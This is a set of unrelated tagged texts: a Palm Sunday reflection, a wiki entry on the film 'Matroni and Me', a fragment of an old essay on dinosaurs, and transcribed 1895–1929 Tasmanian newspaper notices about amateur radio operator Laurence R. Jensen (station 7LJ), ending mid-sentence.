Why did the people shout “crucify Him” a week later? The short answer is they didn’t. Those who were with Him for His triumphal entry were either His supporters or the poor and downtrodden. The folks that wanted Him dead were those who had money and power. If Jesus were to have an earthly reign, they would lose power. Of course they shouted, “Crucify Him.” They had too much to lose.
When we as Christians look at Palm Sunday, it’s wise to actually take a look at it separately and not just wave the branches. It is significant to our salvation, a critical part of Holy Week.
We should also examine our faith. Which group are we in? Will we welcome the second coming? Will our beliefs allow us to welcome Christ back? Or, on the other hand, have we wrapped ourselves in church dogma to the point that He would have to be seen by a committee before we could accept that it’s really Him? I know what I believe…come, Lord Jesus, Amen. | FINEWEB-EDU |
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Matroni and Me
Matroni and Me (Matroni et moi) is a Canadian comedy film, directed by Jean-Philippe Duval and released in 1999.
Based on a theatrical play by Alexis Martin, the film stars Martin as Gilles, an academic who meets Guylaine (Guylaine Tremblay) while on vacation in Ogunquit. However, when he tries to connect with her after they return home to Montreal, her brother Bob (Gary Boudreault) draws him into the orbit of Matroni (Pierre Lebeau), a local Mafia boss. The film's cast also includes Maude Guérin, Pierre Curzi, Alex Ivanovici, Pierre Harel and Tony Conte.
Awards
The film received two Genie Award nominations at the 20th Genie Awards, for Best Adapted Screenplay (Duval, Martin) and Best Editing (Alain Baril), and seven Jutra Award nominations at the 2nd Jutra Awards, for Best Director (Duval), Best Actor (Lebeau), Best Actress (Tremblay), Best Supporting Actor (Boudreault), Best Supporting Actress (Guérin), Best Screenplay (Duval, Martin) and Best Cinematography (André Turpin). | WIKI |
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Rh to the middle of the tail there was only one row of large scutes. At the end of the tail there were, as weapons of offense, several thick spines, about a foot long, so that a stroke of this tail must have been telling in its effects.
We have now made the acquaintance of several dinosaurs, yet they are by no means all the members of this numerous order, upon which already a whole literature has been published. Some of them are known only by their foot-prints. The Triassic sand-stone of the Connecticut Valley contains numerous impressions of five-, four-, and three-toed dinosaurs, which at first were considered as the foot-prints of large birds. They were made when these animals walked on the muddy shores of the Triassic ocean. The collections of Amherst and Yale College contain each several thousands of such impressions—a fact that gives some idea of the abundance of reptilian life on the continent at that time. Also, in Europe, we find that reptiles, and among them especially dinosaurs, are the most numerous and dominating class of the Mesozoic times—that is, during the Trias, Jura, and Cretaceous; so that these times are often called the age of reptiles. At the end of the Cretaceous period, however, the reptiles decreased, and the dinosaurs became entirely extinct—at least, we do not know of any Tertiary dinosaur, and none exists at present.
Our knowledge of these remarkable animals is a comparatively recent one; of them almost nothing was known thirty years ago, but since then discoveries have followed each other in rapid succession, and every year contributes new data. It is especially to three American scientists that we owe most of our knowledge about dinosaurs; they are Prof. Joseph Leidy and Prof. E. D. Cope, in Philadelphia, and Prof. O. C. Marsh, in New Haven. | WIKI |
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History of wireless telegraphy and broadcasting in Australia/Topical/Biographies/Laurence Richard Hopkins Jensen/Notes
1895
"GAZETTE NOTICES. The following appointments are notified in tonight's Gazette:— . . . Geo. Bullock to be Postmaster at Lilydale; A. J. Parsons, ditto at Golconda; Carl Jensen, ditto at Dunorlan; . . .."
"Notices of Births, Marriages, and Deaths. must be authenticated. Charge, THREE SHILLINGS each insertion. Marriages. JENSEN—HOPKINS.— On 10th July, at the Liffey, Bishopsbourne, by the Rev. C. J. Brammall, Carl Frantz Jensen, of Dunorlan, to Eveline Maude, eldest daughter of the late Richard K. Hopkins, of Hattondale, Carrick. . .."
1911
"PERSONAL. . . . . Mr. Carl F. Jensen, stationmaster at Leith, is at present enjoying a much needed fortnight's holiday, and is being relieved by Mr Wheeler."
"ABOUT PEOPLE. . . . . On Thursday evening last a large number of residents of Dunorlan and the surrounding districts made a presentation to Mr. Carl Jensen and his wife. Up till a short time since Mr. Jensen had been in charge of the local railway station, a position he had filled for about 16 years. Mr. W. F. von Bibra presided, and spoke in high terms of praise of Mr. Jensen's many good qualities. Mr. J. Best, M.H.A., made the presentations. Mrs. Jensen received a silver tea and coffee set, and Mr. Jensen a gold watch. Other speakers were Messrs. E. T. Hingston, J. Flynn, and G. E. Stephens. Mr. Jensen suitably responded. During the evening items were given by Misses Keating, Walsh, Stephens, Messrs. Hood, Talbot, Miss Nella Fair, and Mr. John Flynn."
1914
"LEITH. . . . . Presentation.— Misses Herring and Cearns, who had the management of the Carl Jensen presentation, have been very successful, the people responding readily. On Monday last, a travelling rug was forwarded to Mr. Jensen, who is now stationmaster at Apsley, His place at Leith has been filled by Mr. Fleming."
1917
"PERSONAL. . . . Mr. V. C. S. Harris, who has been station master at Railton for the past 18 months, has been transferred to Newtown, and leaves this week for the South. Previously Mr. Harris (who is a brother of Sub-Inspector Harris, of Devonport) was stationmaster at Parattah. Mr. Harris will be succeeded by Mr. Carl Jensen, now of the New Norfolk station, and formerly for many years at Dunorlan."
1920
"THE STATE SCHOOLS. RESULTS OF QUALIFYING EXAMS. STATE HIGH AND JUNIOR TECHNICAL SCHOOLS. As a result of the examination held on December 2 last, the following pupils of State schools have qualified for admission to the State High Schools at Hobart, Launceston, and Devonport, the intermediate High School at Burnie, and the junior tech-nical schools at Hobart, Launceston, Queenstown, and Zeehan. The qualifying certificate will be issued to each pupil who has been certified by the teacher to have attended regularly at a State school, and to have satisfactorily completed the course of study in all subjects prescribed for the sixth class. The successful candidates who desire to attend should present themselves at the State High Schools at Hobart, Launceston, Devonport, and the intermediate High School, Burnie, on Tuesday, February 3; at the junior technical schools at Hobart and Launceston on Monday, February 9, or at the junior technical schools at Queenstown and Zeehan on Monday February 16. Four courses of study are provided at the high schools, and a technical course at the junior technical schools. The courses at the high schools are:— (a) A course for pupils preparing for the teachers' profession. (b) A general course of four years' work leading to the University. (c) A commercial course for pupils preparing for business careers. (d) A domestic course for girls. Pupils should be prepared to state on entry which course they desire to follow. The total number of candidates was 1427, of whom 981 passed the examination. In addition to the children of State schools mentioned hereunder, a number of candidates from private schools passed the examination. As the large majority of these candidates entered for the purpose of competing for bursaries, their results are not published, but will be forwarded to the headmasters of their respective schools in due course. Since this examination was inaugurated in November, 1912, 5115 candidates, have obtained the qualifying certificate. List of pupils who passed the qualifying examination:—. . . . Railton: Ellinor Allford, Ernest Cooper, Adeline Donnelly, Jack Hamilton, Laurence Jensen, Mary Ling, Iris O'Neill, Ethel White, Horace White, Cyril Wearne."
1922 04
"POLITICAL POINTS. . . . The P.P.A. has chosen a good team for Darwin, and should secure at least one seat for the party. Mr. R. Franks, of Elliott, and Mr. C. A. Dunning, of Ulverstone, are men who are likely to poll a good vote. In Wilmot the selection is not likely to be nearly so strong. The seven offering for pre-election are Albert William Bendall, Thomas John Butler, Thomas Doyle, Roland Robert French, Aylmer Green, Carl Frantz Jensen' and Arthur T. Lade."
1923 04
"TASMANIAN RAILWAYS. FURTHER GRIEVANCES. PROCEEDINGS AT DEVONPORT. DEVONPORT, Thursday.— The Royal Commission on Railways took further evidence to-day. The Com-mission consists, of Messrs G. W. Stead-(chairman), F. Lindsay Gunn, and A. W. Burbury. . . . SUGGESTIONS NOT ACKNOWLEDGED. Carl F. Jensen, formerly station master for many years, said he had written many times when in the department to the Commissioner making suggestions for the good of the department in dealing with passenger traffic, but he never got his letters acknowledged. . .."
1924 01
"FEATURES OF THE DAY. . . . Public Examinations: The results of the Leaving Examinations conducted by the University of Tasmania are published in this issue. It will be noted that pupils of the Devonport High School have been successful. In the pass list Thelma Atkinson, Freda Lloyd, K. R. Ready, and R. D. Wright secured passes and qualified for matriculation. The latter student secured eight credits. L. R. Jensen, K. V. Harris, and W .A. Rundle also secured passes. B. D. Wright also qualified for three scholarships and one exhibition, namely, science, general and the Gilchrist Watt scholarships and a Sir Richard Dry exhibition (mathematics)."
"DEVONPORT. . . . Young Wireless Expert: Master Laurence Jensen, who has just completed his course at the High school, where he passed the Leaving examination at the end of the year, has been making quite a name for himself as a wireless expert. He has installed at his father's house a receiving set, and nightly listens to the wireless waves which come over the seas from as far as Townsville, and even from New Zealand. Melbourne and Sydney, as well as Adelaide, are 'picked up' every night, the principal items being the weather forecasts and shipping intelligence. The ticking of the wireless operators may be plainly heard on the partly home-made instruments, but to read the messages a knowledge of the Morse code is of course essential. Master Jensen has well mastered this part of his task, and is quite expert as an operator. When this lad was 12 years of age, his father then being then the popular stationmaster at Railton, the lad installed electric light in his room. As 'The Advocate' of that time recorded, it was the first and only electric light installation in the town."
1924 02
"DEVONPORT. . . . . Wireless Wonders: Much has been written about the triumphs of wireless telegraphy and telephony, especially relating to the broadcasting of messages and concerts for hundreds of miles. Reference was recently made to the success which has been achieved in intercepting messages from the air by Master Laurence Jensen. Master Frank Slater, of Sheffield, is also a wireless enthusiast, and his father, Mr. J. F. Slater, has purchased for him a wireless listening-in set which has given good results. The set has been brought to Devonport, and given a trial on the aerial at Mr. C. Jensen's residence, Middle road. At first the results were disappointing, but with the use of a new section in place of one which was damaged success has been achieved, and last evening concerts and speeches delivered in Sydney were not only plainly audible but enjoyable. The listener had to attach a receiver to the ear, but it is also possible to secure a 'loud speaker' which makes the messages or music plainly audible to all that may be in the vicinity."
1924 05
"DEVONPORT HIGH SCHOOL. Annual Fair. A CREDITABLE DISPLAY. The annual fair in aid of the funds of the Devonport High School was opened at the school assembly hall last night by the Warden. The object of the fair is to provide funds for the school equipment, quite a number of articles required for this purpose not being supplied by the Education Department. In most functions of the kind preparations are made many weeks beforehand, but in order to interfere with the school work as little as possible the head teacher (Mr. H. V. Biggins) and staff last year hit upon the idea of confining practically all the work of preparation to one week. This experiment proved quite successful, over £100 being realised as a result of last year's effort, and it is hoped that similar or even greater success will be achieved this year. The display at the school is a striking example of what can be achieved in a short space of time by the hearty co-operation of the staff, parents and scholars. In one room there is a wireless set established by Messrs. Wills and Co., of Launceston, and this was the centre of a good deal of interest. Adjoining this is a concert room, where half-hour concerts were given by the pupils, a small charge being made for admission. In the school kitchen was a tempting display of toothsome cakes, pastry, etc., for which there was a brisk demand in the two supper rooms nearby. Among the stalls the produce, cake, and jumble and sweet stalls attracted chief attention, the display of vegetables, potatoes, apples, jams, jellies, preserves, sauces, etc., being very fine. The fancy stall was also well equipped, the jumble stall containing many useful articles and toys made by boys of the school, while goods donated by parents and business people were also very numerous. Home-made sweets were very much in evidence, and in these, as usual, brisk trade was done by the youthful vendors. A room was set apart for competitions and games of various descriptions, a shooting gallery and a ping-pong tournament conducted in this room being well patronised. In addition there is the usual fish pond and other minor attractions, without which no fair would be complete. The fair contains many attractions for young and old, and this fact, together with the laudable object for which it has been arranged, should ensure the liberal patronage accorded the function last night being renewed this afternoon and evening, when it will be concluded. In asking the Warden (Cr. G. M. Spilsbury) to open the fair, Mr. Biggins expressed the thanks of the school for the ready response to the appeal for help for the fair. He specially thanked Messrs. Wills & Co., of Launceston, and Mr. M'Cabe., who had come to give the wireless demonstration. He had also to thank the Warden for the support that he had always given to the school and for his presence there to open the fair. The Warden said that he had great pleasure in being present, and the show on the stalls was a great credit to those concerned. He was pleased with the way in which the school had helped itself. He hoped that the fair would be a great success, and then declared it open. Later, the Warden presented medals to H. Smith (athletic champion of the school), A. Thorne (junior champion), and a brooch to M. Osborne (girl champion). The stallholders were:— Jumble stall: Mr. Briggs, assisted by boys of C class. Produce: Mr. Scott, assisted by.boys from D and C classes. Cordials: A. Thorne, K. George, K. Fraser and K. Weatherhead. Flower stall: Miss Russell, aided by girls of E class. Old scholars' produce stall: Messrs. Cole, Coleman, Barrett and other old scholars. Old scholars' combined cake and sweets stall: Misses M. I. Leicester, C. H. Wood, M. Wilson, P. Richards and F. Cutts. Sweets stall: Miss Williams, aided by Misses M. Wellard, M. Bramich and other girls of B class. Cake: Miss Brown, assisted by Misses Ruth Richards, Theta McCullagh and Vera Frame. Fish pond: Misses J. Pearce, B. Harris, N. Ratcliffe and A. Rayner. Fancy stalls: Misses Geeves and Headlam, assisted by girls of C class. Afternoon tea and supper: Miss Eddie and girls of D class. Amusements: A number of games were set out in the boys' common room and were in charge of the following:— Aunt Sally: L. Hope. Shooting gallery: A. Moles and E. Brown. Skittles: R. Mulligan. 'Doodlum Buck': E. Smith. Bobs and ping-pong: L. Faulkiner and C. Masterman. Wireless demonstrations were given by a representative of Messrs. Wills and Co., of Launceston, assisted by L. Jensen and L. Nibbs. Jellies and Cream: M. Bramich and Beth Hill; parcels Office, R. Stops and C. Cooper."
1924 08
"THE RADIO WORLD. WEEKLY WIRELESS JOTTINGS. CONDUCTED BY 'GRID LEAK.' . . . . DEVONPORT. Mr. L. R. Jensen of Devonport writes and says 'I have been reading with interest your column in the 'Daily Telegraph,' every Saturday and wishes the column every success.' He also states that he has for the past three or four months been receiving 2FC Farmer's broadcasting service, Sydney, on a crystal set. (I shall be glad if you will forward me particulars of the circuit you are using for publication in this column. 'Grid Leak.')"
1924 09
"DEVONPORT NOTES. Mr. L. R. Jensen of Middle road, West Devonport, writes with regard to his reception of Farmer's on a crystal set and sends the following details. Aerial, three wires 60 feet long, T type, 30 feet high at both ends, lead in about 50 feet long; the earth wire is connected to a water pipe. The tuner consists of either (1) single coil (2) loose coupler (3) variometer. I employ Galena and QSA crystals in the detector. I use Murdock's 3000 ohm double head set. The earliest I have heard Farmer's is about 7 o'clock in the evening when they were just audible, and later on on some nights the music, etc., is as loud as the commercial stations, but it is not always loud enough to catch what is being said. All the apparatus is home made."
1924 10
"RADIO. (CONDUCTED BY 'GRID LEAK.') . . . . 3LO AT DEVONPORT. Mr. L. R. Jensen, of Devonport, writes as follows: I beg to report having heard the new Melbourne broadcasting station (3LO) on a crystal on Monday, the 13th inst., when he was very weak, and again on Wednesday, the 15th inst., when he was somewhat louder than Farmer's (2FC), who were weaker than usual. I did not try on the Tuesday night, owing to bad QRN (atmospherics.) I would be glad if you could kindly give me an idea of the present power of 3LO, and when this is likely to be increased. — (I have no idea at the present time the power used at 3LO; I understand that the full 5000 watts is in the aerial, but that amount of power at the present time is not being modulated. Very likely next week I will be able to give you the desired information in this column.— 'Grid Leak.')"
"DEVONPORT. Wireless Concert: A final reminder is given of the wireless concert which is to be held at the Town Hall tonight. The wireless set will be in charge of Mr. Scanlon, brother of the Queen of Commerce (Miss Phyllis Scanlon), and it is claimed that the instrument is one of the finest in the Slate. In addition there will be other items of entertainment which should ensure a satisfactory 'house.' . . . . Wireless Demonstration: An opportunity will be afforded the public of Devonport to enjoy a practical demonstration of the wonders of wireless. Mr. W. Scanlon, of Launceston, brother of Miss Scanlon, the Queen of Commerce, will give the demonstration in the Town Hall when mainland concerts will be picked up on a western electric receiving set and broadcasted by a loud speaker which will render the messages plainly audible in all parts of the hall. Mr. Scanlon, who is a specialist in wireless, arrived with his set during the weekend from Launceston and experiments in receiving on Saturday proved very satisfactory. Last evening further experiments were made, but owing apparently to thunder storms the atmospherics were somewhat disturbed. Among the items picked up was a sermon by Rev. Hoban at the Wesley Church, Melbourne. Mr. J. Jensen, a local wireless enthusiast, assisted in the setting up of the set. Mr. Scanlon requests the owners of private receiving sets not to operate this evening as it would interfere with the performance at the Town Hall, which commences at 8 o'clock."
1924 11
"DEVONPORT. . . . . Success in Wireless: Mr. G. Kempling, of Devonport, has received word that his son, Mr. Allen G. Kempling, has arrived in Hobart from South Australia to supervise the installation of a wireless plant there. Mr. Kempling has had much success the wireless world, and some time ago was superintendent at Willis Island station, off the coast of Queensland. It is interesting to note that more than one Devonport boy has been making good in wireless, including Mr. W. Scanlon, who is engaged in the work at Launceston. Mr. Scanlon, who was in Devonport recently, visited Mr. Laurence Jensen's installation at his father's residence, Middle road, and expressed himself in very complimentary terms of Mr. Jensen's efforts, as the installation, which had proved very effective, was nearly all made by the young enthusiast, who should have a future to look forward to when wireless comes into its own, as it promises in the near future to do."
1925 02
"MUNICIPAL COUNCIL. BUSINESS AT LAST WEEK’S MEETING. The Municipal Council met at Smithton on Thursday, when there were present Crs. D. Brown (Warden), A. J. Boys, A. W. Ford, J. T. Moore, A. Wells, T. J. King, W. J. Waters, W. A. Lee, G. Acheson, A. Wood, B. Young, and M. O’Halloran. Apologies were received from Crs. K. C. Laughton and H. F. Ford, who were in Launceston. . . . Educational. School appointment advices were: Mr. J. Begent and Mr. T. Burns to East Marrawah; Miss G. Pithhouse to Allen Creek; Mr L. Parish to Rogerton; Mr. J. A. Begent to West Montagu; Mr. L. Jensen to Trowutta (school re-opened); and Mr. B. Lewis to Marrawah; Miss I. J. Morgan to Stanley. The Education Dept. wrote asking what action had been taken re the irregular attendance of children of three families — Kelly, Turmine and Radford. Irregular attendance returns were received from Stanley, Nabageena, Rocky Cape, East Marrawah and Forest."
"Wireless Enthusiast: Mr. C. F. Jensen has received word from his son, Mr. Laurence Jensen, who is now in charge of the Trowutta school, that he has been successful in passing his wireless examination, and will shortly receive a transmitting license. Mr. L. Jensen has fitted up a wireless plant at Trowutta, and is getting good results. He was one of the pioneers in wireless at Devonport, and has shown much proficiency in the art of what promises to be the coming medium for the transmission of messages."
1925 03
"MUNICIPAL COUNCIL. PROCEEDINGS AT MARCH MEETING. The Municipal Council met at Smithton on Thursday last, when there were present Crs. D. Brown (Warden), H. F. Ford, A. Wood, M. O'Halloran, B. Young, T. J. King, W. J. Waters, G. Acheson, W. A. Dee and A. W. Wells, and the Clerk, Mr. M. Brumby. Cr. Ford apologised for the absence of Crs. Boys and Laughton. Educational. The Education Department advised that Mr. W. L. Garrard had been appointed to charge of Marrawah state school vice Mr. Lewis transferred; Miss P. Lodge to West Montagu vice Mr. Begent transferred. I. V. Burke, head teacher Rocky Cape, wrote re application to have a track cut around the school fence and the scrub burnt. The Director of Education and the Inspector visited the school on Thursday last and gave authority to carry on with it. L. R. Jensen, head teacher Trowutta, wrote notifying that a number of repairs were required at the school. Misses H. Ferguson and V. Bowler wrote they commenced duties at Smithton school as Junior Teachers on March 2. Irregular attendance returns were received from West Forest, Forest, Stanley, Nabageena, Rocky Cape, Marrawah and East Marrawah schools."
1925 07
"EDUCATIONAL APPOINTMENTS. The 'Educational Record' for July contains notification of the following appointments: . . . . Students in Teachers' College — Course B — E. Mackie, A. Dunbar, O. Morrison, E. M. Duff, E. E. Norman, B. Standrin, V. Johnston, L. R. Jensen, J. Begent, E. T. A. Crawford, T. T. Rocher, G. Hall, H. Nichols."
1925 08
"Radio Notes. . . . TRANSMITTING LICENSES. There are fourteen active transmitters in Tasmania and most of them have gone down on the very short waves. The latest list is as follows:— Hobart.— 7AH, F. W. Medhurst, Lower Sandy Bay; 7JB, J. V. Brooks, Hobart; 7OM, R.D. O'May, Bellerive; 7RB, R. Buring, Hobart; 7DX, T. Watkins, Hobart. Launceston.- 7AB, Arthur Smith, Launceston; 7BH, Sheldric, E. C., Launceston; 7BQ, A. L. Crooks, Launceston; 7PF, P. O. Fysh, Launceston. Country Districts.- 7AG, J. C. Milne, Gretna; 7BK, A. G. Preston, Queenstown; 7GD, G. A. Douglas, Gormanston; 7LJ, L. R. Jensen, Trowutta; 7GH, G. L. Hall, Waddamana. It will be noted that 7AA has had his call altered to 7DX. I think that this is rather a pity, as he has made such good use of the old one and has made it known in so many districts. 7AA is the first transmitter that I remember in Hobart, though there may have been one or two others before him. The call belongs to the history of wireless in Tasmania and deserves notice."
"'ON THE AIR.' DX Notes By 'Amplex.' . . . . A new amateur transmitter to come on the air lately was Mr. L. Jensen, owner-operator of station 7LJ. Mr. Jensen is a fast transmitter, and according to reports his signals are a pleasure to listen to."
"EAVESDROPPED! AN INTERESTING RADIO EXPERIENCE. U.S. Warship Talks to England. While listening-in on a wavelength of 45 metres on Sunday afternoon, Mr. T. Watkins, the well-known Hobart wireless experimenter, had the unique experience of picking up a two-way conversation carried out by wireless telephone between the United States warship Seattle and an experimental station in the United Kingdom, operated by the president of the British Radio Society, Mr. Gerald Marcuse. There were present with Mr. Watkins when the messages were picked up Messrs. R. O'May and L. Jensen, both of whom heard the conversation quite distinctly. The first indication Mr. Watkins received of something being 'on the air' was when he heard the Sydney amateur station 2CM calling G2OD, London, the first English amateur station to establish wireless communication with Australia. While endeavoring to tune in to the messages being exchanged between the above two stations. Mr. Watkins was surprised to hear the American warship NRRL, which appeared to be operating on a wavelength of 40 metres. The English station commenced by transmitting gramophone music:— N.R.R.L.— Put on some jazzy ones. Hi, hi (the radio laugh). (Later): What about 'It 'Aint Gonna Rain no More'? That's better, I am receiving you O.K. At about 6.15 a.m. (Greenwich time) the English station, began to call an American after first remarking that his transmissions were being carried out on exceedingly low power. It is believed that this was the first occasion that 2NM has been heard in Australia."
"TASMANIA. TRANSMITTING LICENSES. 7AB Smith, A. C., 21 High-st., Launceston. 7AG Milne, J. C., Gretna. 7AH Medhurst, F. A., Beach-rd., Lower Sandy Bay. 7AQ MacCabe, W. B., Clarence Point, West Tamar. 7AR Johnson, C. F., 33 Hill-st., West Hobart. 7BC Cave, Norman, 5 Compton-av., Launceston. 7BH Sheldrick, E. C., Richard's av., Launceston. 7BK Preston, T. A. C., King-st., Queenstown. 7BQ Crooks, J. A. L., 64 Frederick-st., Launceston. 7CS Scott, A. C., 14 Law-st., Launceston. 7DX Watkins, W. T., 146 Warwick-st., Hobart. 7GH G. L. Hall, Waddamana. 7GD Douglas, G. A., Lochleven, Gormanston. 7JB Brooks, J. V., 20 Adelaide-st., Hobart. 7LJ Jensen, L. R., State School, Trowutta. 7OM O'May, R. H., Esplanade, Bellerive. 7PF Fysh, P. O., 46 Mary-st., Launceston. 7RB Buring, R., 19 Anglesea-st., South Hobart."
1925 11
"OSCILLATIONS. A Squeak by Our Joey. Who swore that Bob was punching 7LJ's key on Sunday. Does 7HL (??) expect to get all the luck thrown in with that transformer he is buying? Foster is in great demand lately. He seems to have the only copy of James in town. Who is building all the apparatus for the future 7RW? Charlie is sure that the Browning-Drake is the best thing in receiving circuits for B.C.L. work. Which is it going to be next? Lovett is still looking for a transmitter who is going out of business. The B.C.L. set has not yet gone. 7RB has produced another 'blue terror.' Look on Bob's wall. Congrats to 7PF and 7CS (Launceston. Both have hooked U.S.A. Likewise 7LA and 7AS, who have just open-up in the transmitting game. Did anyone hear any joeys on 3LO's election results at 10 o'clock on Saturday? Gobbo has been unusually quiet and retiring lately. What is the matter? Or should we say 'who'? Reports indicate 'QRK but QSB' since Watty installed the new 'bottle.' Jack has hit the limit in DX. What is he going to do now? Follow 5BG?"
1926
"Short Wave Transmission. A DEVONPORT wireless enthusiast, Mr. L. R. Jensen, operator of radio 7LJ, writes:— As I have been operating my short wave wireless transmitter, a 7LJ, in this district for the last few weeks, I thought perhaps a description of the set would be of some interest to you, especially as I believe this is the first amateur wireless transmitter to be worked along the Coast. Previously I worked the set in Hobart, but during the holidays I obtained special permission to transmit from West Devonport. Practically every night since about the 25th of December, 1925, I have been in communication with other experimenters in Hobart, with whom I have been carrying out tests. Although my power is very small — less than 5 watts and there is a fair amount of screening between here and Hobart, I have had no difficulty in working Hobart stations at night, and also on one occasion in daylight. The aerial, which is of the inverted L type, consists of a single 7-20 wire, 50 feet long, and 25 feet high at the highest end, while the counterpoise, which is used in place of an earth for the transmitter, is a 3-wire fan, 60 feet long, and 10 feet high. An ordinary water pipe earth is used on the receiver, which is a 3-coil single-valve (DV3), semi-low loss affair. This receiver has given good results on short waves, and has brought in signals from foreign amateurs with good readable strength. A single U.V.201a is used as a transmitting valve, the plate being supplied with current from the electric mains through a chemical rectifier, while a transformer supplies the necessary 6 volts to light the filament. With a loosely-coupled shunt-feed Hartley circuit, the transmitter radiates approximately .25 amperes on a wave length of 87 metres. Morse code is regularly used for communicating, but occasionally — during tests — 7LV comes on the air using 'phone, chiefly transmitting records. Loop modulation is then used. So far no DX telephony has been attempted, but in the future I hope to devote more attention to telephony. Since I have been transmitting I have been in communication (two-way work) with amateurs in five out of the six Australian States (Western Australia being the exception) and with both islands of New Zealand. Owing to a fear of interfering with broadcast listeners using comparatively unselective receivers, 7LJ is not operated during the period 8-10 p.m., but may be heard working practically every night after 10 p.m. on the 85 — 95 amateur wave length band. I would be very pleased to receive reports on reception of 7LJ, especially as regards strength, note, fading, swinging, etc., also information as to type of receiver used. All work is carefully logged, so that reports may be checked up, and the information gained noted for future testing. In conclusion, I wish you a Happy and Prosperous Radio New Year, and the best of luck with your 'Radio Notes' in 'The Advocate,' — Yours truly, L. R. JENSEN, Middle Road, West Devonport."
"THE RADIO WORLD. WEEKLY WIRELESS JOTTINGS. CONDUCTED BY 'GRID LEAK.' . . . . 7LJ, who is at present at Devonport for a holiday, is putting some hefty signals on the air, using one receiving valve and the house lighting mains for his plate supply."
"WIRELESS NOTES. . . . . 7LJ from 'Speck' (Tasmania) is heard here now and then using rectified A.C. for plate supply. Signals not very strong, but should reach around Australia in darkness."
"COASTAL STATION. Stations Received and Worked. ON SINGLE VALVE RECEIVER. THE operator of radio station A7LJ, Mr. L. R. Jensen, Middle Road, West Devonport, forwards a copy of stations logged during the period December 25, 1925, to January 31, 1926, inclusive: Stations Received (All on single valve receiver): Australia: 2CG, 2WI, 2JR, 2BW, 2HR, 2SS, 2HM, 2EC, 2LM, 2DG, 2NS, 2BY, 2OG, 2JT, 2RJ, 2JW, 2CX, 2GC, 2IJ, 2OD, 2WH, 2MH, 2ZN, 2RD, 2UI, 2OB, 3JR, 3OG, 3OT, 3AU, 3VP, 3UI, 3KB, 3EF, 3LP, 3BM, 3JK, 3JR, 3BD, 3CB, 3JS, 3HL, 3JP, 3BL, 3GM, 3EL, 3YM, 6AM, 6AG, 4RB, 4BR, 4CM, 5DM, 5RM, 5BD, 5WW, 5BF, 5DX, 5HM, 5RK, 5AM, 5BF, 5AH, 5AY, 5DA, 5BG, 5RC, 7DX, 7WT, 7OM, 7WI, 7BQ, 7BC, 7CS, 7GD, 7GH, N.Z., 2AQ, 1AX, 1AQ, 1AF. Miscellaneous: K1O, W1Z, GDVB, KEL, K1ONS, VIT, NEQQ, NPM, Phillipines Is., 1HR. Stations Worked: 2HM, 2WH, 2LM, 2MH, 3AU, 3CB, 3LP, 3BQ, 3EL, 4RB, 5RG, 5BD, 5RK, 5AM, 5BF, 6AM, 7DX, 7WT, 7BQ, 7WI, 7CS, 7GD, 7OM, 7BC, 3JP, 2DG, N.Z., 1AF. All the stations were logged on wavelengths less than 100 metres, the majority being on 80 metres."
1927
"SWIMMING. JUNIOR TECHNICAL SCHOOL SPORTS. SUCCESSFUL PROGRAMME. The annual swimming programme of the Junior Technical School was held at the Sandy Bay Baths yesterday afternoon. The function was successful in every way, the various races being keenly competed notwithstanding the coolness of the water. The success was largely due to the efforts of the sportsmaster (Mr. E. L. Willison), who organised the programme. Mr. T. W. Rees, the swimming master, and the various members of the staff. The officials were:— Judges, Messrs. F. Ellis and R. Hudspeth; diving, Mr. S. Cunningham; call stewards, Messrs. G. Speers and H. Whitton; starter and handicapper, Mr. T. W. Rees; result stewards, Messrs. H. Wigan and A. Fulton; line stewards, Messrs. Michael and L. R. Jensen. Results:— 50yds. Senior Handicap.— B. Hales, 1; A. Cresswell, 2; H. Ayers, 3. 50yds. Breast-stroke Handicap.— B. Hales, 1; W. Forsythe, 2; Les McGuire, 3. Junior Championship (50yds.), under 13. — B. Ward, 1; T. Frier, 2; D. Large, 3. Junior Championship (50yds.), under 15. — A. Cresswell, 1; H. Ayers, 2; B. Forsythe, 3. Beginners' Race.— W. Clennett, 1; K. Walker 2; J. Simpson, 3. 50yds. Handicap (under 13 years).— B. Ward, 1; L. Frier, 2; D. Large, 3. 50yds. Handicap (under 15 years).— H. Ayers, 1; W. Watt, 2; B. Dobson, 3. 100yds. Senior Championship.— B. Hales, 1; A. Cresswell, 2. Teams' Race.— Winners, A section, B section. Junior Championship (under 14 years).— H. Ayers, 1; B. Ward, 2; K. Rumney, 3. Diving Handicap.— B. Forsythe, 1; R. Weatherhead, 2; H. Ayers, 3. Diving for Object.— K. Rumney, 1; P. Murphy, 2."
1928
"SMITHTON ITEMS. PERSONAL. . . . . Visitors at Oakley House have been Mr. and Mrs. L. E. Hudson and child, Mr. and Mrs. Woolston, Mr. and Mrs. Gorringe, Messrs. Medhurst and Jensen (Launceston), Archer (Devonport), J. E. Smith (Burnie), F. Hardy (Ulverstone), Miss S. Newman (Devonport), Messrs. Binns and K. Smith (Trowutta)."
1929
"BREADALBANE FATALITY. Young Woman Thrown From Buggy. Coroner & 'Gross Negligence' At the Evandale Council Chambers yesterday morning, before the coroner, Mr. J. V. Gibson, the adjourned inquest into the cause of the death of Miss Gwendoline Keitha Dean, between Western Junction and Breadalbane on the night of February 27, was continued. Inspector Eyles, of Longford, conducted the case for the police, while Mr. J. E. Heritage appeared for the father of the deceased, and Mr. W. Hutchins for George Baylis, the rider of the motorcycle which collided with the vehicle in which deceased was driving. After Dr. McCausland had given evidence as to the cause of death. Inspector Eyles said he proposed to call George Baylis. MIGHT BE BLAMED. Mr. Hutchins immediately objected, stating that it was possible Baylis would be blamed for the accident, and it was unfair for him to be called as the first witness as he (counsel) would decide later whether he would advise his client to give evidence or not. The coroner agreed with Mr. Hutchins's contention. He informed Baylis that he need not give evidence unless he so desired, and Baylis retired. Inspector Eyles then proceeded to call other witnesses. Eileen Doris Dean, sister of the deceased, said she arrived at Western Junction from Hobart by the train about 10 p.m. on the date named. Her sister was there to meet her and had a pony and four-wheeled buggy. Witness got into the vehicle with her sister, who was driving, and they started for Breadalbane. It was bright moonlight, and after having gone about two miles the vehicle was struck. They did not hear anything until the collision. They were thrown out on to the road. Her sister was lying face downwards near the edge of the road and was unconscious. Witness saw a man with a cycle just behind. She first saw him when she sat up after being thrown out of the buggy. They tried to get the cycle to start to go for help, but could not do so. They tried to go for help but George Baylis collapsed. He was hurt in the side. Witness got him on to the side of the road and put the cycle off the road. She heard Baylis say he thought he saw something in front of him. A car came along and took her sister home. NEVER REGAINED CONSCIOUSNESS. Dr. Mccausland, of Evandale, who was called to the home of the deceased, stated that she never regained consciousness, and died at 3.50 p.m. the next day. The cause of death was extensive injuries to the base of the skull received by falling from the buggy on to the metalled road. Arthur Williams said that he arrived at the scene of the accident about 